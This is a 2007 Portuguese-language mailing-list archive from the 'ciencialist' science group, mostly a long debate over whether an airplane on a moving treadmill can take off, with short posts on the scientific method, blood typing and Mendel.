> elétrica
> coulombiana e a Terra se move. E a história se
> repetirá.
>
>
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Que absurdo, Renato - Re: P/ Renato, decola sem problemas sim
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 13:07

Olá Jose Renato

Renato: "Ricardo, que o avião vai ser empurrado para frente não há
dúvidas. A questão
> depende de como está medindo a velocidade do avião."

Que absurdo, Renato!!! Quer dizer que o movimento do avião depende de
onde se mede a velocidade dele??!?!?! Se medirmos nas rodas, ele está
parado e não decola, se medirmos em relação ao ar que passa por ele,
ele está se movimentando e decola??!?!?!

Que absurdo, Renato!

O avião se move, isso até você acabou entendendo. Se medir a
velocidade em relação ao solo ou ao ar que passa pelas asas, ele se
move a velocidade de X. Se medir o giro das rodas, elas, AS RODAS se
movem a velocidade de 2X, porque a esteira as gira a velocidade X,
enquanto o movimento do avião as gira a velocidade X (resultando em 2 X).

Medir a velocidade DAS RODAS só tem sentido em automóvies, pois estes
usam a TRAÇÃO para se mover, e esse movimento equivale ao giro destas.

Mas, o que faria se o avião tivesse eskis, Renato??? Eles NÃO GIRAM.

A única velocidade, o ÚNICO ponto de referencia que importa em um
avião, são as asas e a passagem de ar por elas. Um avião PARADO em
relação ao chão, com as rodas IMÓVEIS, mas dentro de um túnel de vento
(ou parado no chão do aeroporto durante uma tempestade de vento),
DECOLARÁ, ou melhor, terá uma diferença de pressão nas superfícies das
asas que permitirá que flutue ou saia do solo.

Veja se entende, um avião com TODOS os referenciais indicando que está
PARADO, mas com um ÚNICO referencial indicando que se move, o ar
passando pelas asas, DECOLA, VOA, SE ELEVA, ignorando todos os outros
referenciais.

Portanto, sua alegação abaixo é absurda, e indica enorme incompreensão
do problema todo, e desconhecimento total sobre aviões e decolagens.

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo, que o avião vai ser empurrado para frente não há dúvidas. A
questão
> depende de como está medindo a velocidade do avião. Qual o seu ponto de
> referência para a medida da velocidade. Uma primeira possibilidade é
medir a
> velocidade pelo rodar das rodas do avião sobre a esteira. Nesse
caso, onde o
> ponto de referência para a medição da velocidade está na esteira, o
> deslocamento do avião é compensado ou anulado pelo da esteira em
sentido
> contrário. O avião ficará praticamente parado sobre a esteira e não
vai ter
> sustentação para alçar vôo. Uma segunda possibilidade é medir a
velocidade
> através GPS ou de sistema aerodinâmico tipo tubo de Pitot ou
semelhante.
> Nesse caso, em que o ponto de referência para a medição da
velocidade é o
> chão ou a velocidade do ar em movimento contrário ao deslocamento do
avião,
> o avião poderá adquirir velocidade suficiente para alçar vôo.
> []s
> José Renato
> ......................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 07, 2007 10:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> decola SEM PROBLEMAS..:-)
>
>
> > José Renato,
> >
> > Realmente você chegou ao que considero o ponto inicial de
discordância,
> > especificamente, entre nós dois.
> >
> > Para mim é inquestionável que o avião se deslocará para frente sim.
> > Independente da velocidade do avião do enunciado se referir à
velocidade
> > em
> > relação ao solo ou em relação à esteira.
> >
> > Se o atrito puder impedir a decolagem, o que não acredito, isso só
> > ocorrerá
> > com para velocidades maiores, quando o atrito será mais relevante.
> >
> >> JR - Confirme se até aqui ficou claro para vc que o avião ficará
[...]
> >
> > Para mim, até aqui, ficou claro que discordamos neste ponto
básico. Da
> > mesma
> > forma que vc tem a sensação que precisa me explicar as bases do
problema,
> > eu
> > tb tenho a mesma certeza de que vc é que precisa entender melhor
questões
> > básicas da física envolvida.
> >
> > []s Ricardo
> >
> >
> > ----- Original Message -----
> > From: "José Renato" <jrma@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, March 07, 2007 10:18 PM
> > Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> > decola SEM PROBLEMAS..:-)
> >
> >
> >> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o
entendimento do
> >> problema, item a item. Faço comentários no texto abaixo, após JR
-, de
> >> modo
> >> a facilitar o desenvolvimento das idéias:
> >> .....................................................
> >>
> >> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >> Sent: Tuesday, March 06, 2007 7:06 AM
> >> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim -
O avião
> >> decola SEM PROBLEMAS..:-)
> >>
> >>
> >>> José Renato,
> >>>
> >>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
> >>> avião
> >>> é
> >>> progressivamente puxado para trás, se a esteira estiver
continuamente
> >>> rodando para trás. Começando com uma velocidade determinada, até
chegar
> >>> à
> >>> velocidade da esteira.
> >> JR - A proposta de "testar" o que ocorreria quando o avião
estiver com
> >> motores desligados e a esteira fosse acionada foi só para ajustar
que,
> >> normalmente, há um atrito significativo entre a esteira e o avião
através
> >> do
> >> que quer que seja: rodas, esquis, fuselagem...
> >>>
> >>> Veja bem, eu concordo que devemos considerar o atrito, é claro.
Mas a
> >>> descrição da frase acima não corresponde em nada ao problema
proposto. O
> >>> avião e a esteira começam parados, o avião liga seu motor,
então, apenas
> >>> se
> >>> ele começar a andar para frente, a esteira começara a andar para
trás. E
> >>> o
> >>> atrito, de no máximo 2 vezes o usual, não será mais forte que o
empuxo
> >>> do
> >>> motor. Então o avião andará para frente.
> >> JR - OK, o atrito existe e está sendo considerado! Então vem a
etapa em
> >> que
> >> os motores são ligados e o avião começa a se deslocar para frente
sobre a
> >> esteira e, *simultaneamente*, a esteira começa a se deslocar para
trás,
> >> na
> >> mesma velocidade do avião. Agora, vem um detalhe importante: como
está
> >> sendo
> >> medida a velocidade do avião? Vamos considerar que a velocidade
do avião
> >> é
> >> medida por um velocímetro nele acoplado, semelhante ao que as
revistas de
> >> automóveis usam para fazer os testes de carros: uma roda
calibrada ou um
> >> foco de luz sobre o piso da esteira onde o avião está se deslocando.
> >> Assim
> >> que o avião aumenta a velocidade e atinge 100km/h - medida como
se fosse
> >> um
> >> carro em teste - a esteira corre também na mesma velocidade de
100km/h,
> >> para
> >> trás. Em relação a esteira o avião está a 100km/h, mas em relação
ao chão
> >> onde a esteira está apoiada e ao ar que os cerca, está praticamente
> >> parado.
> >>>
> >>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião
anda para
> >>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
> >>> esteira
> >>> ficam parados. Para o avião e a esteira ficarem parados, o atrito
> >>> estaria
> >>> acima de qualquer caso real razoável.
> >> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
> >> motores
> >> do avião são acionados o atrito normal existente é superado pelo
empuxo e
> >> ele se desloca sobre a esteira como faria em qualquer pista.
> >>>
> >>> Este assunto está se estendendo a ponto de confundir mais do que
> >>> esclarecer,
> >>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
> >>> recorrentes
> >>> discussões dos mesmos pontos. Evita que andemos em círculos,
como está
> >>> acontecendo agora.
> >> JR - Confirme se até aqui ficou claro para vc que o avião ficará
> >> praticamente parado em relação ao chão onde está apoiada a esteira
> >> rolante.
> >> Aí então podemos ajustar outros entendimentos e continuar nossa
> >> discussão.
> >> Takata vinha desenvolvendo a questão com clareza até quando - para
> >> atender
> >> as questões, dúvidas e idéias apresentadas por Homero - discorreu
sobre
> >> suposições e detalhes periféricos sem importância significativa ao
> >> esclarecimento do problema proposto.
> >>
> >> []s
> >>
> >> José Renato
> >> ......................................................
> >>
> >> al Message -----
> >>> From: "José Renato" <jrma@...>
> >>> To: <ciencialist@yahoogrupos.com.br>
> >>> Sent: Monday, March 05, 2007 11:36 PM
> >>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim -
O avião
> >>> decola SEM PROBLEMAS..:-)
> >>>
> >>>
> >>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
> >>>> rodas.
> >>>> Assim sendo, a esteira transportará o avião na direção do movimento
> >>>> dela.
> >>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
> >>>> seguinte
> >>>> texto:
> >>>>
> >>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o
avião
> >>>> para
> >>>> trás. As rodas girarão um pouco apenas no caso da esteira
partir com
> >>>> uma
> >>>> *aceleração* alta o suficiente para vencer o atrito dos
rolamentos das
> >>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
> >>>> máxima
> >>>> e
> >>>> a
> >>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele
passa a
> >>>> ser
> >>>> transportado "paradão", se deslocando para trás com a mesma
velocidade
> >>>> da
> >>>> esteira. ]
> >>>>
> >>>> []s
> >>>>
> >>>> JR
> >>>> ...................................
> >>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Sunday, March 04, 2007 6:38 PM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>>
> >>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
> >>>>> comentários
> >>>>> após os seus:
> >>>>> ...........................
> >>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >>>>> Sent: Sunday, March 04, 2007 4:09 PM
> >>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>>> em
> >>>>> esteira
> >>>>>
> >>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é
verdade. É ao
> >>>>>> que
> >>>>>> somos levados a pensar a princípio. Mas como o sistema que
empurra o
> >>>>>> avião
> >>>>>> para frente é independente da esteira (turbina, por exemplo), a
> >>>>>> esteira
> >>>>>> se
> >>>>>> mover para trás não empurra o avião para trás de forma
determinante,
> >>>>>> mas
> >>>>>> sim, faz as rodas girarem mais rápido.
> >>>>> JR - É isso que o Takata está tentando há vários e-mails
esclarecer a
> >>>>> vc
> >>>>> e
> >>>>> a
> >>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão
paradas
> >>>>> a
> >>>>> esteira carrega o avião para trás. As rodas girarão um pouco
apenas no
> >>>>> caso
> >>>>> da esteira partir com uma *aceleração* alta o suficiente para
vencer o
> >>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
> >>>>> atinge
> >>>>> a
> >>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
> >>>>> avião
> >>>>> param de rodar e ele passa a ser transportado "paradão", se
deslocando
> >>>>> para
> >>>>> trás com a mesma velocidade da esteira.
> >>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
> >>>>> acionados.
> >>>>>
> >>>>>> Então, o avião anda para a frente, em relação ao chão, a
esteira roda
> >>>>>> para
> >>>>>> trás, e as rodas giram mais rápido.
> >>>>> JR - Não, Ricardo, com os motores parados o avião não se
desloca para
> >>>>> frente
> >>>>> a não ser uns poucos metros, caso a esteira parta com alta
aceleração.
> >>>>> Ele
> >>>>> só passará a se deslocar para frente continuamente sobre a esteira
> >>>>> quando
> >>>>> os
> >>>>> motores das hélices ou turbinas forem acionados e acelerados.
> >>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
> >>>>> rodas
> >>>>> estarão girando sobre a esteira como um carro no asfalto, mas
o avião
> >>>>> estará
> >>>>> praticamente parado em relação ao solo ou ao ar que o rodeia,
exceto
> >>>>> em
> >>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
> >>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo
de ar
> >>>>> acima
> >>>>> mencionado ser suficientemente forte para elevar o avião da
esteira, o
> >>>>> que
> >>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se
o avião
> >>>>> fosse
> >>>>> "amarrado pela cauda" e acelerasse os motores.
> >>>>>>
> >>>>>> []s
> >>>>>> Ricardo
> >>>>>
> >>>>> []s
> >>>>> José Renato
> >>>>> ................................................
> >>>>
> >>>> ----- Original Message -----
> >>>> From: "Oraculo" <oraculo@...>
> >>>> To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Monday, March 05, 2007 3:19 PM
> >>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O
avião
> >>>> decola
> >>>> SEM PROBLEMAS..:-)
> >>>>
> >>>>
> >>>> Olá Jose Renato
> >>>>
> >>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na
mesma
> >>>> velocidade!
> >>>> Isso significa que o mesmo está praticamente parado em relação
ao solo
> >>>> e
> >>>> ao
> >>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
> >>>> hélices
> >>>> ou turbinas. Difícil, não?
> >>>> "
> >>>>
> >>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
> >>>> tração
> >>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a
traçaõ
> >>>> do
> >>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
> >>>> avião
> >>>> apra tras, depois que ele liga as turbinas!
> >>>>
> >>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a
esteira, e
> >>>> elas
> >>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
> >>>> dispositivos
> >>>> de
> >>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
> >>>> aeroporto.
> >>>>
> >>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá
de fazer
> >>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
> >>>> abaixo
> >>>> dela. Isso porque o atrito das rodas fixas com a superfície da
esteira
> >>>> fornece tração para a esteira empurrar a mala.
> >>>>
> >>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua
mão, e a
> >>>> mala
> >>>> fica no luagar, com as rodas girando e a esteira rolando abaixo
dela. O
> >>>> esforço que tem de fazer é pequeno, APENAS o suficiente para
vencer o
> >>>> atrito
> >>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
> >>>>
> >>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem
ATRITO
> >>>> ZERO,
> >>>> o que é uma impossibilidade prática, mas uma -ossibilidade
teórica, a
> >>>> mala
> >>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
> >>>>
> >>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da
mala ou
> >>>> do
> >>>> avião, tivessem atrito zero, a mala NÃO se movenria, não
importa o que
> >>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
> >>>> parar,
> >>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
> >>>>
> >>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a
esteira
> >>>> pode
> >>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
> >>>> rolamentos
> >>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA
da força
> >>>> das
> >>>> turbinas.
> >>>>
> >>>> Homero
> >>>>
> >>>>
> >>>>
> >>>>
> >>>> ----- Original Message -----
> >>>> From: José Renato
> >>>> To: ciencialist@yahoogrupos.com.br
> >>>> Sent: Sunday, March 04, 2007 12:10 AM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>>
> >>>> Ricardo:
> >>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
> >>>> hélices,
> >>>> ao
> >>>> empurrar o ar para trás, empurra o avião para frente, independente
> >>>> deste
> >>>> ter
> >>>> ou não asas. O avião se move para frente ao ligar a turbina,
não para
> >>>> cima. ]
> >>>> ..........................
> >>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
> >>>> velocidade!
> >>>> Isso significa que o mesmo está praticamente parado em relação
ao solo
> >>>> e
> >>>> ao
> >>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
> >>>> hélices
> >>>> ou turbinas. Difícil, não?
> >>>> []s
> >>>> JR
> >>>> ..........................
> >>>>
> >>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> >>>> Sent: Tuesday, February 27, 2007 11:25 PM
> >>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-)
Re: avião
> >>>> em
> >>>> esteira
> >>>>
> >>>> > From: "José Renato" <jrma@...>
> >>>> >> Homero:
> >>>> >> [ Se ligar as hélices, ele se move, independente de uma
esteira ou
> >>>> das
> >>>> >> rodas. ]
> >>>> >> .............................................
> >>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de
ar nas
> >>>> asas
> >>>> >> capaz
> >>>> >> de sustentá-lo. Na proposta original parece-me que o avião
possui
> >>>> >> turbinas.
> >>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
> >>>> >
> >>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
> >>>> hélices,
> >>>> > ao
> >>>> > empurrar o ar para trás, empurra o avião para frente,
independente
> >>>> deste
> >>>> > ter
> >>>> > ou não asas. O avião se move para frente ao ligar a turbina,
não
> >>>> para
> >>>> > cima.
> >>>> >
> >>>> > Um abraço,
> >>>> >
> >>>> > Ricardo
> >>
> >>
> >>
> >> ##### ##### #####
> >>
> >> Página de apoio
> >> http://www.ciencialist.com
> >>
> >>
> >> ##### ##### ##### #####
> >> Links do Yahoo! Grupos
> >>
> >>
> >>
> >
> >
> >
> >
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> > Página de apoio
> > http://www.ciencialist.com
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> > Esta mensagem foi verificada pelo E-mail Protegido Terra.
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> > 5.1.00/4979
> > Proteja o seu e-mail Terra: http://mail.terra.com.br/
> >
> >
> >
> > --
> > No virus found in this incoming message.
> > Checked by AVG Free Edition.
> > Version: 7.5.446 / Virus Database: 268.18.7/713 - Release Date:
7/3/2007
> > 09:24
> >
>




SUBJECT: Re: P/ Takata , decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 13:16

Olá Takata

Ainda assim, a questão do Ricardo é pertinente e correta, me parece.
As rodas de todo veículo são construídas para permitir seu uso além
dos padrões de uso.

Se aviões não fugirem a regra, suas rodas e rolamentos podem
perfeitamente permitir seu uso no dobro da velocidade de decolagem de
um avião (qualquer avião), que é menor que a velocidade máxima que ele
poderia, em tese, atingir sem decolar.

Como o enunciado é específico nesse ponto, a esteira JAMAIS passa da
velocidade em que o avião se movimenta, os aviões podem decolar sem
problemas.

Mais que isso, podem decolar sem se preocupar com os rolamentos e
atrito envolvidos no problema.

Sua fórmula genérica é genérica demais, e não se aplica a questões
específicas ou a problemas de lógica, com "red herings". Eu insisto,
se consultassemos o autor do problema, tendo em vista sua intenção em
relação ao problema (que era demonstrar como enganos, como os do Jose
Renato, são causados pela interpretação incorreta de fenomenos
comuns), ele insistiria no atrito zero para acabar com essa discussão..

Em todo caso, se tomarmos o atrito como ZERO, concordamos que o avião
decola. Mas, se as alegações do Jose Renato fossem corretas, o avião
NÃO decolaria mesmo com atrito zero. O que está, evidentemente, incorreto.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > A resistência que o rolamento exerce ao movimento seria constante, e
> > não linear como eu havia pensado, e nem quadrática como o Takata
> > pensou.
>
> Não é questão de eu pensar ou não dessa ou daquela forma. Eu
> apresentei uma referência para a fórmula da resistência à rolagem
> dependente de velocidade.
>
> A fórmula: Fat = N x crr
>
> É válida apenas para baixas velocidades, qdo a porção dependente de
> velocidade tem pouco efeito. Para velocidade maiores, a componente
> dependente de velocidade passa a ter efeito maior - e mm a predominar.
>
> Frr = [crf + cr x 3,24 x (V/100)^2,5].m.g
> http://www.its.ucdavis.edu/publications/1999/UCD-ITS-RR-99-04.pdf
> http://br.groups.yahoo.com/group/ciencialist/message/61492
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Sobre o Método Cientifico
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 16:24

Olá Chicão

Chicão: "A não existência de um método completo seria um bom argumento
para os religiosos????"

O método não precisa ser completo, precisa ser eficaz. E eficaz
significa permitir construir explicações coerentes e adequadas aos
fenômenos observados. E só isso.

Nós sabemos que existem lacunas, tanto nos dados, quanto nas
conclusões e mesmo no método, mas uma parte de uma pá é melhor que
cavar com as mãos.

Religiosos só se beneficiariam das lacunas e da incompletude, se a
ausência de uma conclusão bem embasada pudesse ser sanada ou
substituída por outra explicação, por exemplo, uma explicação
religiosa. Mas a ausência de uma explicação científica, natural, não
autoriza a escolha de outra explicação igualmente sem bases, mas
sobrenatural. Isso fica evidente quando se pergunta "qual" das
centenas ou milhares de explicações alternativas que a mente humana
pode criar deve ser escolhida.

Uma teoria científica não precisa ser 100% ou completa. Ela nem
precisa ser "verdadeira" no sentido de ser verdade 100% plena. Ela
precisa apenas descrever os fenômenos observados, de forma a explicar
e permitir previsões corretas. Quanto mais previsões corretas ela
fizer, mais seguros podemos estar de ser próxima do real, da
"verdade", mas não é preciso ser "a verdade verdadeira" ou 100%.

A física clássica não é 100%, mas é verdadeira, próxima o suficiente
do real para ser utilizada com segurança, na maior parte do tempo e
das aplicações. A teoria da evolução descreve corretamente, com
precisão, os fenômenos observados, e explica com sucesso e coerência a
especiação e as formas de vida, as modificações através do tempo, etc.

As lacunas que por ventura existam nessas duas teorias, serão
preenchidas ou não algum dia, em especial os mecanismos mais complexos
e microscópicos da evolução, mas não é preciso esperar até que isso
aconteça para confiar no que já sabemos sobre o assunto.

Da mesma forma como melhorar nossa "explicação" sobre as forças
físicas envolvidas em processos deste universo, como a teoria da
relatividade e a mecânica quantica, não alterou a "verdade" da física
clássica, que continua correta até onde era possível estar. O método
que produz conhecimento confiável, o método científico, não precisa
ser "100%" completo ou mesmo unânime.

Precisa apenas ser confiável e eficaz em seu propósito, e basta olhar
em volta para perceber que ele é, muito, eficaz.

Explicações precisam ser testadas. Sem isso, a semi-esfera apoiada
sobre elefantes, e estes sobre uma tartaruga, a nadar no mar infinito
ainda seria uma explicação alternativa a uma rocha a orbitar uma
estrela de quinta grandeza.

Se podemos escolher entre essas duas explicações uma que nos garanta
certa confiabilidade e que nos permita fazer escolhas e agir sobre o
universo físico com segurança, é porque o método, mesmo incompleto, é
a melhor ferramenta que dispomos para tanto.

Um abraço.

Homero




SUBJECT: Re: P/ Takata , decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 16:42

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Ainda assim, a questão do Ricardo é pertinente e correta, me parece.
> As rodas de todo veículo são construídas para permitir seu uso além
> dos padrões de uso.

O pneu, as rodas e rolamentos podem talvez suportar o esforço, mas
pouco podem fazer em relação às leis físicas.

> Sua fórmula genérica é genérica demais, e não se aplica a questões
> específicas ou a problemas de lógica, com "red herings".

Genérica demais?

> Mas, se as alegações do Jose Renato fossem corretas, o avião
> NÃO decolaria mesmo com atrito zero. O que está, evidentemente,
> incorreto.

Minha linha de análise é bem distinta - o atrito está bem longe de ser
zero (embora os COEFICIENTES de atrito sejam baixos).

[]s,

Roberto Takata



SUBJECT: Re: Teste para gêmeos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 16:45

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Poderia ser usado em um trabalho de feira de ciências de ensino
> básico?

A tipagem sangüínea é muito simples - e relativamente barata. Mas não
sei se a legislação vigente permite q menores de idade se exponham a
fluidos corpóreos.

[]s,

Roberto Takata



SUBJECT: Re: P/ Takata , decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 17:43

Olá Takata

Takata: " Genérica demais?"

Ok, ficou esquisito..:-) Talvez, hipotética, teórica demais seria mais
adequado, muito distante da intenção do autor do enunciado..:-) O que
tentei dizer foi que o enunciado é um experimento irreal, que não se
traduz em descobrir fórmulas de hipotéticos ou concretos atritos, mas
sim um exercício para descobrir como nossa mente funciona, e que
parâmetros nos acostumamos a considerar ao analisar eventos, como o
"red hering" da esteira.

Em nenhum momento o autor pretendia que se analisasse os rolamentos de
um Airbus, muito menos pensou na aplicação de uma fórmula matemática
para considerar variáveis desconhecidas. Ele simplesmente queria saber
se a esteira iria "enganar" os que pensassem sobre o problema (enganar
no sentido do erro que o Renato comete, não no sentido de enganar um
expert, em cálculos e rolamentos).

Takata: " Minha linha de análise é bem distinta - o atrito está bem
longe de ser zero (embora os COEFICIENTES de atrito sejam baixos)."

Mas sua erudição, sua inteligência (e porque não dizer, sua
teimosia..:-) proverbiais estão ajudando a confundir o Jose Renato.
Que pensa que a esteira "compensa" o rolamento das rodas, e por isso o
avião fica "parado" assim que esta se move para trás.

Sua abordagem necessita de velocidades enormes, pois para o atrito,
mínimo e desprezível, gerado em baixas velocidades, o avião se desloca
com ou sem o movimento da esteira.

Se der uma lida na última mensagem do Jose Renato, vai compreender o
quanto ele está enganado, e o quanto sua defesa do atrito está
confundindo a questão para ele.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> > Ainda assim, a questão do Ricardo é pertinente e correta, me parece.
> > As rodas de todo veículo são construídas para permitir seu uso além
> > dos padrões de uso.
>
> O pneu, as rodas e rolamentos podem talvez suportar o esforço, mas
> pouco podem fazer em relação às leis físicas.
>
> > Sua fórmula genérica é genérica demais, e não se aplica a questões
> > específicas ou a problemas de lógica, com "red herings".
>
> Genérica demais?
>
> > Mas, se as alegações do Jose Renato fossem corretas, o avião
> > NÃO decolaria mesmo com atrito zero. O que está, evidentemente,
> > incorreto.
>
> Minha linha de análise é bem distinta - o atrito está bem longe de ser
> zero (embora os COEFICIENTES de atrito sejam baixos).
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: P/ Takata , decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 18:25

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> adequado, muito distante da intenção do autor do enunciado..:-) O

Bem, a intenção do autor do enunciado é uma questão demasiadamente
transcendental para mim. Em tese tudo o q o enunciado não proíbe seria
permitido. Claro q as conclusões a q se chega são restritas às
condições assumidas na resolução. O meu critério é, por default, usar
as condições q estão presentes em uma decolagem normal, modificando
apenas no q for necessário para se ajustar ao enunciado.

> Em nenhum momento o autor pretendia que se analisasse os rolamentos
> de um Airbus, muito menos pensou na aplicação de uma fórmula
> matemática para considerar variáveis desconhecidas.

Digamos q assim tenha sido. Apenas é o caso de dizer: o enunciado tal
qual apresentado permite outra conclusão.

> Mas sua erudição, sua inteligência (e porque não dizer, sua
> teimosia..:-) proverbiais estão ajudando a confundir o Jose Renato.

Emendo a resposta no último trecho desta mensagem.

> Sua abordagem necessita de velocidades enormes, pois para o atrito,
> mínimo e desprezível, gerado em baixas velocidades, o avião se
> desloca com ou sem o movimento da esteira.

Velocidade DENTRO do proposto para o enunciado. No caso do Airbus,
velocidade baixas q não gerem o atrito suficiente para deter sua
aceleração são inferiores à velocidade necessária para decolar.

> Se der uma lida na última mensagem do Jose Renato, vai compreender o
> quanto ele está enganado, e o quanto sua defesa do atrito está
> confundindo a questão para ele.

Eu não me sinto responsável - até porq. mm qdo eu argumento
contrariamente a um posicionamento dele, minha argumentação não surte
efeito de influência. Conqto q a minha argumentação nesta linha seja
defensável em sua correção técnica - dentro dos limites de
idealizações impostas pelo problema -, ela não poderia ser negada pelo
mau uso e/ou entendimento por parte de terceiros (não poderíamos negar
a validade da física quântica apenas pelo fato de pseudos tentarem
usá-la para provar suas teses esquisitas). Posto isto, para maior
clareza declaro:

- Minha linha de argumentação NÃO tem por intuito defender a
argumentação de José Renato neste tópico;

- Eu NÃO reconheço q esta linha leve à conclusão pelo impedimento de
decolagem de uma aeronave comum (excetuando-se os VSTOL e similares)
em uma situação de atrito ZERO. Basta aplicar a fórmula. Atrito zero
significa coeficientes zero de atrito:

Fat = m.g.(crr + k.crv.(V/100)^2,5)
Fat = m.g.(0 + 0.k.(V/100)^2,5)
Fat = m.g.(0 + 0)
Fat = m.g.0
Fat = 0

[]s,

Roberto Takata



SUBJECT: Mendel: o anti-herói - Sergio Danilo Pena
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 18:26

[ Por que Gregor Mendel (1822-1884) n�o seria considerado uma figura da mesma estatura cient�fica de Darwin? A conclus�o da pesquisa de Mendel � contra-intuitiva para a �poca, mas cogente, inevit�vel e irrefut�vel � foi que a transmiss�o de caracteres heredit�rios ocorria de maneira particulada, qu�ntica, descont�nua, por meio dos �genes� (que s� viriam a receber este nome em 1906). ]

...................................

Ci�ncia Uol

Mendel: o anti-her�i


Colunista Sergio Danilo Pena* discute por que o brilhante monge n�o tem o mesmo prest�gio cient�fico de Darwin



